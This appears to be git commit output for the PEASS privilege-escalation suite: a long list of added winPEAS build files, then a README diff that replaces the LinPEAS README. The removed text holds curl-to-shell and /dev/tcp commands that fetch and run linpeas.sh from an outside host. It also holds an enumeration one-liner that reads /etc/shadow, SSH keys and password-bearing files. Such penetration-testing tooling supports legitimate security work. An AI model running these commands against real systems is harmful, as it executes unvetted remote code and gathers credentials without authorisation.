winPEAS/winPEASexe/winPEAS/SystemInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/UserInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/Watson.cs create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Debug/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe.config create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Release/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe.config create mode 100755 winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x64/Release/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe.config create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Debug/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe.config create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Release/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe.config create mode 100755 winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/788C07DA79190438DDA5A9E9FB99443B65B91FEF.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.CopyComplete create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.FileListAbsolute.txt create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.Fody.CopyLocal.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.CopyComplete create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.FileListAbsolute.txt create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.Fody.CopyLocal.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.CopyComplete create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.FileListAbsolute.txt create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.Fody.CopyLocal.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.CopyComplete create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.FileListAbsolute.txt create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.Fody.CopyLocal.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.CopyComplete create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.FileListAbsolute.txt create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.csproj.Fody.CopyLocal.cache create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.exe create mode 100755 winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.pdb create mode 100755 winPEAS/winPEASexe/winPEAS/packages.config create mode 100755 winPEAS/winPEASexe/winPEAS/winPEAS.csproj create mode 100755 winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 272d96f..67be151 --- a/README.md +++ b/README.md @@ -1,120 +1,21 @@ -# LinPEAS - Linux Privilege Escalation Awsome Script (with colors!!) - -Also valid for other **Unix systems** (tested in Debian, CentOS, FreeBSD and OpenBSD) - - -**LinPEAS performs the linux privilege escalation checks explained in [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** - -[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/266928) - - -## Quick Start -```bash -#From github -curl https://raw.githubusercontent.com/carlospolop/linux-privilege-escalation-awsome-script/master/linpeas.sh | sh -``` - -```bash -#Local network -python -m SimpleHTTPServer 80 -curl 10.10.10.10/linpeas.sh | sh - -#Without curl -nc -lvnp 80 < linpeas.sh -cat < /dev/tcp/10.10.10.10/80 | sh -``` - - -The goal of this script is to search for possible **Privilege Escalation vectors**. - -This script doesn't have any dependency. - -The script can be run in everything that have **/bin/sh** (even OpenBSD, FreeBSD and other OS with /bin/sh). - -It could take from **2 to 3 minutes** to execute the whole script (less than 1 min to make almost all the checks, almost 1 min to search for possible passwords inside all the accesible files of the system and 1 min to monitor the processes in order to find very frequent cron jobs). - -You can **decrease this** time use the parameters: -- **-f** (fast) - This will bypass checking processes during 1 min -- **-s** (superfast) - This will bypass the previous check and other time consuming checks. - -This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. - -LinPEAS also **exports a new PATH** variable if common folders aren't present in the original PATH variable. It also **exports** unset and export several environmental commands so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**). - -You can see the *[checks performed by linPEAS here](https://github.com/carlospolop/linux-privilege-escalation-awsome-script/tree/master/checks)* - - -## Colors - -LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. - -The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). - -The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE: -- Possible exploitable kernel versions -- Vulnerable sudo versions -- Identify processes running as root -- Not mounted devices -- Dangerous fstab permissions -- Writable files in interesting directories -- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version) -- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/) -- Check /etc/doas.conf -- 127.0.0.1 in netstat -- Known files that could contain passwords -- Capabilities in interesting binaries -- Interesting capabilities of a binary -- Writable folders and wilcards inside info about cron jobs -- Writables folders in PATH -- Groups that could lead to root -- Files that could contains passwords - -The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for: -- Common processes run by root -- Common not interesting devices to mount -- Not dangerous fstab permissions -- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version) -- Common .sh files in path -- Common names of users executing processes - -The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: -- Users without shell -- Mounted devices - -The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: -- Users with shell - -The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: -- Current username - - -## One liner - -Here you have an old linpe version script in one line, **just copy and paste it**;) - -**The color filtering is not available in the one-liner** (the lists are too big) - -This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here: - -The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script) - - -```sh -file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l; -``` - -## Todo - -- Add more checks -- Mantain updated the list of vulnerable SUID binaries -- Mantain updated all the blacklists used to color the output -- Support for MacOS - -If you want to help with any of this, youu can do it using github issues or you can submit a pull request. - -If you find any issue, please report it using the github issues. - - -**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. - -By Polop(TM) +# PEASS - Privilege Escalation Awsome Scripts SUITE + +Here you will find **privilege escalation tools for Windows and Linux/Unix\*** (in some near future also for Mac). + +These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. + +- Check the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) +- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas) - Windows local Privilege Escalation Awsome Script (C#.exe and .bat)** + +- Check the **Local Linux Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist) +- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/linpeas) - Linux local Privilege Escalation Awsome Script (.sh)** + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know 